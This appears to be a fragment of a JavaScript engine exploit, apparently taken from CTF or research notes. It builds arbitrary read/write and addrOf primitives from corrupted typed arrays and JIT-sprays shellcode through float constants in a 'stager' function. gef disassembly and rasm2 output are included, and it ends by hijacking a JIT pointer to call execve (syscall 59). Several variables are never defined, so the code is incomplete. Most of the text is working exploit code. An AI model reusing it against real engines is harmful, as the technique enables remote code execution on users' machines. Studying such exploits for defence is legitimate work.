const exploit_pack = [
  new Uint8Array(0x10),
  new Uint8Array(0x10), // Use this [:8] to control data pointer of below array
  new Uint8Array(0x10), // Arbitrary RW array
]

      // setup()
      const v11 = v4.pop();
      const addr = v11[11];
      v11[11] = Add(new Int64.fromDouble(addr), 0x58).asDouble();

function read(ptr) {
  read_addr = new Int64(ptr);
  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = read_addr.byteAt(idx);
  }

  let bytes = exploit_pack[2].slice(0, 8);
  // Remove 0xfffe in pointer
  // bytes[7] = 0x00; bytes[6] = 0x00;
  obj_addr = new Int64(bytes);
  // console.log(obj_addr);
  return obj_addr;
  // console.log(new Int64(obj_addr));
}

function write(ptr, value) {
  let addr = new Int64(ptr);
  let bytes = new Int64(value);

  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = addr.byteAt(idx);
  }

  for (var idx=0; idx < 8; idx++) {
    exploit_pack[2][idx] = bytes.byteAt(idx);
  }
}

function addrOf(obj) {
  exploit_pack[3] = obj;

  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = leaking_addr.byteAt(idx);
  }

  let bytes = exploit_pack[2].slice(0, 8);
  // Remove 0xfffe in pointer
  bytes[7] = 0x00; bytes[6] = 0x00;
  obj_addr = new Int64(bytes);
  // console.log(obj_addr);
  return obj_addr;
  // console.log(new Int64(obj_addr));
}

const stager = function (a, b, c, d) {
  const rax = a;
  const rdi = b;
  const rsi = c;
  const rdx = d;

  const g0 = 9.073632937307107e-271;
  const g1 = 1.6063957816990143e-270;
  const g2 = 1.6082444981830348e-270;
  const g3 = 1.6100929890177583e-270;
  const g4 = 1.6119413952339954e-270;
  const g5 = 1.68020602465e-313;
}

gef➤  disas /r 0x0000085a6e604531,+20
Dump of assembler code from 0x85a6e604531 to 0x85a6e604545:
   0x0000085a6e604531:  49 bb 80 ad ba de c0 ad de 07   movabs r11,0x7deadc0debaad80
   0x0000085a6e60453b:  4c 89 5d a8                      mov    QWORD PTR [rbp-0x58],r11
   0x0000085a6e60453f:  49 bb c0 48 8b 44 24 28 eb 07   movabs r11,0x7eb2824448b48c0
End of assembler dump.

gef➤  disas /r 0x0000085a6e604542,+10
Dump of assembler code from 0x85a6e604542 to 0x85a6e604556:
   0x0000085a6e604542:  48 8b 44 24 28  mov    rax,QWORD PTR [rsp+0x28]
   0x0000085a6e604547:  eb 07           jmp    0x85a6e604550
End of assembler dump.

$ rasm2 -a x86 -b 64 "jmp 7"
eb05

rax: syscall number
rdi: program path
rsi: argv
rdx: envp

$ rasm2 -a x86 -b 64 "mov rdi, QWORD [rsp + 0x28]"
488b442428

write(jitGetter, jmpOffset);
stager(
  new Int64(59).asDouble(),
  new Int64(pathAddr).asDouble(),
  new Int64(argvBufferAddr).asDouble(),
  new Int64(environBufferAddr).asDouble());